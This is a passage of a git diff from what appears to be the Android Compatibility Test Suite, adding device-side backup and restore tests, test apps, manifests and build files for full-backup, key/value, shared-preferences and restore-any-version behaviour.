+                try (BufferedOutputStream bos = new BufferedOutputStream(
+                        new FileOutputStream(fileToRestore))) {
+                    bos.write(dataBuf, 0, dataBuf.length);
+                }
+            } else {
+                // We don't know this entity key. Shouldn't happen.
+                throw new RuntimeException("Unexpected key in the backup data");
+            }
+        }
+
+        // Finally, write to the state blob (newState) that describes the restored data
+        FileOutputStream outstream = new FileOutputStream(newState.getFileDescriptor());
+        DataOutputStream out = new DataOutputStream(outstream);
+        out.writeInt(value);
+    }
+
+
+    private byte[] readFileToBytes(File file) {
+        int size = (int) file.length();
+        byte[] bytes = new byte[size];
+        try {
+            BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+            buf.read(bytes, 0, bytes.length);
+            buf.close();
+        } catch (FileNotFoundException e) {
+            throw new RuntimeException("Key/value file not found", e);
+        } catch (IOException e) {
+            throw new RuntimeException("Error reading key/value file", e);
+        }
+        return bytes;
+    }
+}
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
new file mode 100644
index 0000000..17a7e2c
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.fullbackuponlyapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side FullBackupOnlyHostSideTest. These
+ * are not designed to be called in any other way, as they rely on state set up by the host side
+ * test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class FullBackupOnlyTest {
+    private static final String TAG = "FullBackupOnlyTest";
+
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+    private File mKeyValueBackupFile;
+    private File mDoBackupFile;
+    private File mDoBackupFile2;
+
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        Log.i(TAG, "set up");
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+        mKeyValueBackupFile = getKeyValueBackupFile(mContext);
+
+        // Files to be backed up with Dolly
+        File filesDir = mContext.getFilesDir();
+        File normalFolder = new File(filesDir, "normal_folder");
+
+        mDoBackupFile = new File(filesDir, "file_to_backup");
+        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteAllFiles();
+        assertNoFilesExist();
+
+        // Create test data
+        generateFiles();
+        assertAllFilesExist();
+
+        Log.d(TAG, "Test files created: \n"
+                + mKeyValueBackupFile.getAbsolutePath() + "\n"
+                + mDoBackupFile.getAbsolutePath() + "\n"
+                + mDoBackupFile2.getAbsolutePath());
+    }
+
+    @Test
+    public void checkKeyValueFileDoesntExist() throws Exception {
+        assertKeyValueFileDoesntExist();
+    }
+
+    @Test
+    public void checkKeyValueFileExists() throws Exception {
+        assertKeyValueFileExists();
+    }
+
+    @Test
+    public void checkDollyFilesExist() throws Exception {
+        assertDollyFilesExist();
+    }
+
+    @Test
+    public void checkDollyFilesDontExist() throws Exception {
+        assertDollyFilesDontExist();
+    }
+
+    protected static File getKeyValueBackupFile(Context context) {
+        // Files in the 'no_backup' directory are not backed up with Dolly.
+        // We're going to use it to store a file the contents of which are backed up via key/value.
+        File noBackupDir = context.getNoBackupFilesDir();
+        return new File(noBackupDir, "key_value_backup_file");
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            addData(mKeyValueBackupFile);
+            addData(mDoBackupFile);
+            addData(mDoBackupFile2);
+            Log.d(TAG, "Files generated!");
+        } catch (IOException e) {
+            Log.e(TAG, "Unable to generate files", e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        mKeyValueBackupFile.delete();
+        mDoBackupFile.delete();
+        mDoBackupFile2.delete();
+        Log.d(TAG, "Files deleted!");
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void assertAllFilesExist() {
+        assertKeyValueFileExists();
+        assertDollyFilesExist();
+    }
+
+    private void assertNoFilesExist() {
+        assertKeyValueFileDoesntExist();
+        assertDollyFilesDontExist();
+    }
+
+    private void assertKeyValueFileExists() {
+        assertTrue("Key/value file did not exist!", mKeyValueBackupFile.exists());
+    }
+
+    private void assertKeyValueFileDoesntExist() {
+        assertFalse("Key/value file did exist!", mKeyValueBackupFile.exists());
+    }
+
+    private void assertDollyFilesExist() {
+        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+    }
+
+    private void assertDollyFilesDontExist() {
+        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+    }
+}
diff --git a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
index f6d0c5b..76f3de2 100644
--- a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
+++ b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
@@ -49,6 +49,10 @@
  * Device side routines to be invoked by the host side KeyValueBackupRestoreHostSideTest. These
  * are not designed to be called in any other way, as they rely on state set up by the host side
  * test.
+ *
+ * Some tests invoked by KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() are
+ * interacting with SharedPrefsRestoreTestActivity from another package.
+ *
  */
 @RunWith(AndroidJUnit4.class)
 public class KeyValueBackupRestoreTest {
@@ -83,6 +87,27 @@
     private static final String DEFAULT_STRING_VALUE = null;
     private static final String DEFAULT_FILE_CONTENT = "";
 
+
+    /** Package name of the test app for
+     * KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() */
+    private static final String SHARED_PREFERENCES_RESTORE_PACKAGE_NAME =
+            "android.cts.backup.sharedprefrestoreapp";
+
+    /** Test activity for KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() */
+    private static final String SHARED_PREFERENCES_RESTORE_ACTIVITY_NAME =
+            SHARED_PREFERENCES_RESTORE_PACKAGE_NAME + ".SharedPrefsRestoreTestActivity";
+
+    // Shared prefs test activity actions
+    private static final String INIT_ACTION = "android.backup.cts.backuprestore.INIT";
+    private static final String UPDATE_ACTION = "android.backup.cts.backuprestore.UPDATE";
+    private static final String TEST_ACTION = "android.backup.cts.backuprestore.TEST";
+
+    // Action for returning the result of shared preference activity's operations
+    private static final String RESULT_ACTION = "android.backup.cts.backuprestore.RESULT";
+    private static final String EXTRA_SUCCESS = "EXTRA_SUCCESS";
+
+    private static final int ACTIVITY_TEST_TIMEOUT_MS = 5000;
+
     private Context mContext;
 
     private int mIntValue;
@@ -93,11 +118,35 @@
     private String mFileContent1;
     private String mFileContent2;
 
+    private boolean mSharedPrefTestSuccess;
+    private CountDownLatch mLatch;
+    private Intent mSharedPrefActivityIntent;
+
+    private final BroadcastReceiver mSharedPrefencesReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.i(TAG, "Received shared preference activity result broadcast");
+            mSharedPrefTestSuccess = intent.getBooleanExtra(EXTRA_SUCCESS, false);
+            mLatch.countDown();
+        }
+    };
+
     @Before
     public void setUp() {
         Log.i(TAG, "set up");
 
         mContext = getTargetContext();
+        mLatch = new CountDownLatch(1);
+        mSharedPrefTestSuccess = false;
+        mSharedPrefActivityIntent = new Intent()
+                .setClassName(SHARED_PREFERENCES_RESTORE_PACKAGE_NAME,
+                        SHARED_PREFERENCES_RESTORE_ACTIVITY_NAME);
+        mContext.registerReceiver(mSharedPrefencesReceiver, new IntentFilter(RESULT_ACTION));
+    }
+
+    @After
+    public void tearDown() {
+        mContext.unregisterReceiver(mSharedPrefencesReceiver);
     }
 
     @Test
@@ -133,6 +182,34 @@
         assertEquals(TEST_FILE_2_DATA, mFileContent2);
     }
 
+    @Test
+    public void launchSharedPrefActivity() throws Exception {
+        mContext.startActivity(mSharedPrefActivityIntent.setAction(INIT_ACTION));
+
+        assertTrue("Activity init timed out",
+                mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue("Saving shared preferences didn't succeed", mSharedPrefTestSuccess);
+    }
+
+    @Test
+    public void updateSharedPrefActivity() throws Exception {
+        mContext.startActivity(mSharedPrefActivityIntent.setAction(UPDATE_ACTION));
+
+        assertTrue("Activity launch timed out",
+                mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue("Saving shared preferences didn't succeed", mSharedPrefTestSuccess);
+    }
+
+    @Test
+    public void checkSharedPrefActivity() throws Exception {
+        mContext.startActivity(mSharedPrefActivityIntent.setAction(TEST_ACTION));
+
+        assertTrue("Activity test timed out",
+                mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue("Shared preference value wasn't updated from the restore set",
+                mSharedPrefTestSuccess);
+    }
+
     /** Saves predefined constant values to shared preferences and files. */
     private void saveSharedPreferencesValues() throws FileNotFoundException {
         SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/hostsidetests/backup/RestoreAnyVersion/Android.mk
similarity index 60%
copy from hostsidetests/jvmti/run-tests/test-981/Android.mk
copy to hostsidetests/backup/RestoreAnyVersion/Android.mk
index 4bbc20a..521ac4d 100644
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/Android.mk
@@ -1,4 +1,5 @@
-# Copyright (C) 2014 The Android Open Source Project
+#
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,16 +12,6 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+#
 
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
similarity index 73%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
index ec8f7aa..ae38548 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionAppUpdate
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..c9284ba
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.restoreanyversionapp"
+    android:versionCode="200">
+
+    <application
+        android:backupAgent=".RestoreAnyVersionBackupAgent">
+
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
similarity index 73%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
index ec8f7aa..277acb6 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionNoRestoreApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..0d05b99
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.restoreanyversionapp"
+    android:versionCode="100">
+
+    <application
+        android:backupAgent=".RestoreAnyVersionBackupAgent">
+
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
similarity index 73%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
index ec8f7aa..170f362 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..57fdf1f
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.restoreanyversionapp"
+    android:versionCode="100">
+
+    <application
+        android:backupAgent=".RestoreAnyVersionBackupAgent"
+        android:restoreAnyVersion="true">
+
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java
new file mode 100644
index 0000000..e4c65bd
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.restoreanyversionapp;
+
+import android.app.backup.BackupAgentHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+
+public class RestoreAnyVersionBackupAgent extends BackupAgentHelper {
+    private static final String TAG = "RestoreAnyVersionBackupAgent";
+
+    private static final String TEST_PREFS_1 = "test-prefs-1";
+    private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
+                new SharedPreferencesBackupHelper(this, TEST_PREFS_1));
+    }
+}
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
new file mode 100644
index 0000000..1dbdb05
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.restoreanyversionapp;
+
+import static android.content.Context.MODE_PRIVATE;
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.SharedPreferences;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Device side routines to be invoked by the host side RestoreAnyVersionHostSideTest. These
+ * are not designed to be called in any other way, as they rely on state set up by the host side
+ * test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RestoreAnyVersionTest {
+    private static final String TAG = "BackupTestRestoreAnyVer";
+
+    static final String TEST_PREFS_1 = "test-prefs-1";
+    static final String INT_PREF = "int-pref";
+    static final int DEFAULT_INT_VALUE = 0;
+
+    private static final int OLD_VERSION = 100;
+    private static final int NEW_VERSION = 200;
+
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        Log.i(TAG, "set up");
+        mContext = getTargetContext();
+    }
+
+    @Test
+    public void saveSharedPrefValue() throws Exception {
+        saveAppVersionCodeToSharedPreference();
+    }
+
+    @Test
+    public void checkAppVersionIsNew() throws Exception {
+        PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
+                mContext.getPackageName(), 0);
+        assertEquals(NEW_VERSION, packageInfo.versionCode);
+    }
+
+    @Test
+    public void checkSharedPrefIsEmpty() throws Exception {
+        int intValue = getAppSharedPreference();
+        assertEquals(DEFAULT_INT_VALUE, intValue);
+    }
+
+    @Test
+    public void checkSharedPrefIsNew() throws Exception {
+        int intValue = getAppSharedPreference();
+        assertEquals(NEW_VERSION, intValue);
+    }
+
+    @Test
+    public void checkAppVersionIsOld() throws Exception {
+        PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
+                mContext.getPackageName(), 0);
+        assertEquals(OLD_VERSION, packageInfo.versionCode);
+    }
+
+    @Test
+    public void checkSharedPrefIsOld() throws Exception {
+        int intValue = getAppSharedPreference();
+        assertEquals(OLD_VERSION, intValue);
+    }
+
+    private void saveAppVersionCodeToSharedPreference() throws NameNotFoundException {
+        SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+        SharedPreferences.Editor editor = prefs.edit();
+        editor.putInt(INT_PREF,
+                mContext.getPackageManager()
+                        .getPackageInfo(mContext.getPackageName(), 0).versionCode);
+        assertTrue("Error committing shared preference value", editor.commit());
+    }
+
+    private int getAppSharedPreference() throws InterruptedException {
+        SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+        int intValue = prefs.getInt(INT_PREF, DEFAULT_INT_VALUE);
+
+        Log.i(TAG, "Read the shared preference value: " + intValue);
+
+        return intValue;
+    }
+}
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
similarity index 74%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
index ec8f7aa..bd6929a 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsSharedPreferencesRestoreApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
new file mode 100644
index 0000000..1cf6da5
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.sharedprefrestoreapp">
+
+    <application
+        android:backupAgent=".SharedPreferencesBackupAgent"
+        android:killAfterRestore="false" >
+
+        <activity android:name=".SharedPrefsRestoreTestActivity"
+            android:launchMode="singleInstance">
+            <intent-filter>
+                <action android:name="android.backup.cts.backuprestore.INIT" />
+                <action android:name="android.backup.cts.backuprestore.UPDATE" />
+                <action android:name="android.backup.cts.backuprestore.TEST" />
+            </intent-filter>
+        </activity>
+
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.sharedprefrestoreapp" />
+
+</manifest>
